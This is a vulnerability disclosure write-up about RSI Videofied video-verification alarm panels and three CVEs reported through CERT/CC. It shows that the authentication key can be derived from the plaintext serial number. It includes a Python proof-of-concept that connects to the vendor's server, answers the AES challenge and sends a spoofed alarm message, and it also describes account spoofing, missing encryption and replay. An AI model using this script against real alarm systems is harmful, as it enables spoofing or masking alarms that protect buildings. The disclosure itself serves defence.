RSI Videofied are a French company that produce a series of alarm panels that are fairly unique in the market. They are designed to be battery powered and send videos from the detectors if the alarm is triggered. This is called video verification. They are frequently used on building sites and disused buildings.
They send data over either GPRS (mobile) or IP. Whilst reverse engineering as part of competitor analysis for a client, I found a large number of vulnerabilities in the protocol they use to communicate.
In summary, the protocol is so broken that it provides no security, allowing an attacker to easily spoof or intercept alarms.
As appears to be the norm in the physical security world, the vendor failed to respond over the course of 6 weeks, so this was taken to CERT/CC for disclosure.
They are due for disclosure 30 November 2015. CERT/CC have released their report.
The issues were found in their newest W Panels in mid-2015.
The following CVEs have been assigned:
- CWE-321: Use of Hard-coded Cryptographic Key – CVE-2015-8252
- CWE-311: Missing Encryption of Sensitive Data – CVE-2015-8253
- CWE-345: Insufficient Verification of Data Authenticity – CVE-2015-8254
RSI Videofied have stated to CERT/CC that this is fixed in version 3 of their protocol which is currently being rolled out.
When the panel initially communicates with the receiving server, there is an authentication handshake (R is received by panel, S is sent by panel)
This looks like some kind of challenge/response. EA00121513080139 is the panel’s serial number. 1440 is the account number for that particular panel.
Brief entropy analysis of the long strings in AUTH1, AUTH2, and AUTH3 showed them to be random.
A Python script was created to mimic the panel.
It was noted that if the serial number was altered, the response was different:
R: VERSION,2,0 AUTH1,D5689F494D81ECA07E72CC0F3459ED4E
It appears that the first time a particular server sees a serial number, it informs the panel of the key used for the challenge/response. If we then attempt to connect again, the key is not shown to us.
It was then seen that connecting the panel to a new server at a different alarm receiving centre delivered exactly the same key. This means that the key is deterministic. It also means that to obtain the key for any given panel, all we need to do is send the serial number to another Videofied server (of which there are many).
However, we can go further than this. Notice that the key delivered above has a lot of common numbers with the serial number. It appears that the key is just a mixed up serial number:
R: SETKEY,00000000000010000000000000010000 VERSION,2,0 A
R: VERSION,2,0 AUTH1,0A79588F06FEB594D153237230BA0D61
R: VERSION,2,0 AUTH1,D4F98DF37EF53F52505599D833484658
This means that we can trivially determine the key used for authentication using the serial number that is sent in the plain immediately beforehand.
The challenge response protocol is as follows:
Server: Random server challenge
Panel: AES(Random server challenge, key) | Random panel challenge
Server: AES(Random panel challenge, key)
Now that we have the key, it is very easy for us to spoof this.
from Crypto.Cipher import AES
from Crypto import Random
# 4i Security's server and port
rsi_server = 'rsi.videofied.com'
rsi_port = 888
# This is the valid alarm serial
serial = 'A3AAA3AAA2AAAAAA'
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# Open a connection to the server should see
# This is the valid serial number from the board
msg = 'IDENT,' + serial + ',2\x1a'
print 'S:', msg
# Should receive
print 'R:', s.recv(1024)
# AUTH1,<16 byte challege>
auth1 = s.recv(1024)
print 'R:', auth1
# Split out challenge
challenge = auth1.split(',')[-1][:-1]
print 'Challenge:', challenge
# The key is just a jumbled up serial.
# This means the key is entirely deterministic and can be guessed from one sniffed packet.
key = serial + '0' + serial + serial + '0' + serial + serial + serial + serial + serial + serial + serial + '1' + '0' \
+ serial + serial + serial + serial + serial  + serial + serial + serial + serial + '0' + serial + '0' + serial + \
'1' + serial + serial + '0' + serial
cipher = AES.new(key.decode('hex'))
# Encrypt in EBC mode
response = cipher.encrypt(challenge.decode('hex')).encode('hex').upper()
print 'Response:', response
# Generate our own random challange
challenge = Random.new().read(16).encode('hex').upper()
# Send back response in form:
# AUTH2,<16 byte response>,<16 byte challenge>
msg = 'AUTH2,' + response + ',' + challenge + '\x1a'
print 'S:', msg
# Calculate the expected response
print 'Expected Response', cipher.encrypt(challenge.decode('hex')).encode('hex').upper()
# This should be the encrypted response from the server
print 'R:', s.recv(1024)
# Send capture status message
msg = 'AUTH_SUCCESS,1440,1,20150729232041,5,2,E2612123110,0,XLP052300,0,27F7\x1aALARM,1932\x1a'
print 'S:', msg
Clearly this is not good.
Authentication decoupled from identity
The above authentication ensures that a given panel with a serial number knows the key. Even if this key was secret and non-deterministic, it is entirely decoupled from the identity of the account. The account is the piece of information identifying the panel to the alarm receiving centre.
Notice that in the above authentication, the account number 1440 is not encrypted or linked to the panel serial:
It turns out that we can simply re-program the panel to use site 1441, and it will report into the alarm receiving centre as account 1441. There is no tie to the serial number, and no authentication of the account number.
Other basic crypto failings
Beyond the authentication being totally broken, the protocol suffers from further basic issues:
- Nothing is encrypted – anyone can view the content of the messages, including the videos.
- There is no integrity protection such as a message authentication code or even a checksum, meaning that it is easy for messages to be altered deliberately or by accident.
- There are no sequence numbers, which means that messages can be replayed and there is no end-to-end acknowledgement of alarm reception
The RSI Videofied system has a level of security that is worthless. It looks like they tried something and used a common algorithm – AES – but messed it up so badly that they may as well have stuck with plaintext.